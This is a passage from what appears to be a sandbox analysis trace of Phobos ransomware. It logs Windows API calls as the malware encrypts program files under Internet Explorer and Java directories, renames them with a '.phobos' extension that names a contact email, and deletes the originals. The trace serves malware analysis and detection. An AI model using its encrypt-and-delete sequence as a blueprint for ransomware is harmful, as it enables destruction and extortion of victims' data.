dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.202] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.203] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.212] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x7531d8) returned 1 [0134.213] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.213] ReadFile (in: hFile=0x2f8, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x12800, lpOverlapped=0x0) returned 1 [0134.266] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x12810, dwBufLen=0x12810 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x12810) returned 1 [0134.266] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x12810, lpOverlapped=0x0) returned 1 [0134.270] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753158) returned 1 [0134.270] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.270] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0134.270] CryptDestroyKey (hKey=0x753158) returned 1 [0134.270] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0134.270] CryptDestroyKey (hKey=0x7531d8) returned 1 [0134.270] CloseHandle (hObject=0x2f8) returned 1 [0134.270] CloseHandle (hObject=0x2b4) returned 1 [0134.271] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe")) returned 1 [0134.273] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.273] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=512000) returned 1 [0134.273] CloseHandle (hObject=0x2b4) returned 1 [0134.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe")) returned 0x20 [0134.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iediagcmd.exe" (normalized: "c:\\program files\\internet explorer\\iediagcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.275] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.276] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=407552) returned 1 [0134.276] CloseHandle (hObject=0x2b4) returned 1 [0134.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0134.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.276] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.283] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=5430) returned 1 [0134.283] CloseHandle (hObject=0x2b4) returned 1 [0134.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0134.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.284] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.289] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=49688) returned 1 [0134.289] CloseHandle (hObject=0x2b4) returned 1 [0134.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0134.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.291] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.294] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=75776) returned 1 [0134.294] CloseHandle (hObject=0x2f4) returned 1 [0134.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe")) returned 0x20 [0134.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.294] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.294] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.295] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x7530d8) returned 1 [0134.295] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.295] ReadFile (in: hFile=0x2f4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x12800, lpOverlapped=0x0) returned 1 [0134.301] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x12810, dwBufLen=0x12810 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x12810) returned 1 [0134.301] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x12810, lpOverlapped=0x0) returned 1 [0134.303] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753098) returned 1 [0134.303] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.303] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0134.303] CryptDestroyKey (hKey=0x753098) returned 1 [0134.303] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0134.304] CryptDestroyKey (hKey=0x7530d8) returned 1 [0134.304] CloseHandle (hObject=0x2f4) returned 1 [0134.304] CloseHandle (hObject=0x300) returned 1 [0134.304] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\venture_excellence.exe" (normalized: "c:\\program files\\internet explorer\\venture_excellence.exe")) returned 1 [0134.305] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.306] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=1516608) returned 1 [0134.306] CloseHandle (hObject=0x300) returned 1 [0134.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0134.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.306] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.306] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.311] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752dd8) returned 1 [0134.311] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.311] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x110100, lpOverlapped=0x0) returned 1 [0134.379] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x110100, dwBufLen=0x110100 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x110100) returned 1 [0134.380] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x110100, lpOverlapped=0x0) returned 1 [0134.398] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x62340, lpOverlapped=0x0) returned 1 [0134.462] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x62350, dwBufLen=0x62350 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x62350) returned 1 [0134.463] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x62350, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x62350, lpOverlapped=0x0) returned 1 [0134.468] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752d58) returned 1 [0134.468] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.468] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30, dwBufLen=0x30 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x30) returned 1 [0134.468] CryptDestroyKey (hKey=0x752d58) returned 1 [0134.468] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xe2, lpOverlapped=0x0) returned 1 [0134.468] CryptDestroyKey (hKey=0x752dd8) returned 1 [0134.468] CloseHandle (hObject=0x300) returned 1 [0134.469] CloseHandle (hObject=0x2b4) returned 1 [0134.469] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0134.478] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.478] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=587840) returned 1 [0134.479] CloseHandle (hObject=0x2b4) returned 1 [0134.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0134.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.479] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.479] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.479] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752fd8) returned 1 [0134.479] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.479] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x8f840, lpOverlapped=0x0) returned 1 [0134.613] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x8f850, dwBufLen=0x8f850 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x8f850) returned 1 [0134.613] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x8f850, lpOverlapped=0x0) returned 1 [0134.622] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752cd8) returned 1 [0134.622] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.622] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0134.622] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.622] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0134.622] CryptDestroyKey (hKey=0x752fd8) returned 1 [0134.622] CloseHandle (hObject=0x2b4) returned 1 [0134.622] CloseHandle (hObject=0x300) returned 1 [0134.622] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0134.627] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.628] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=29760) returned 1 [0134.628] CloseHandle (hObject=0x300) returned 1 [0134.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0134.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0134.628] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.628] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0134.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0134.629] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752cd8) returned 1 [0134.629] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0134.629] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x7440, lpOverlapped=0x0) returned 1 [0134.689] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x7450, dwBufLen=0x7450 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x7450) returned 1 [0134.689] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x7450, 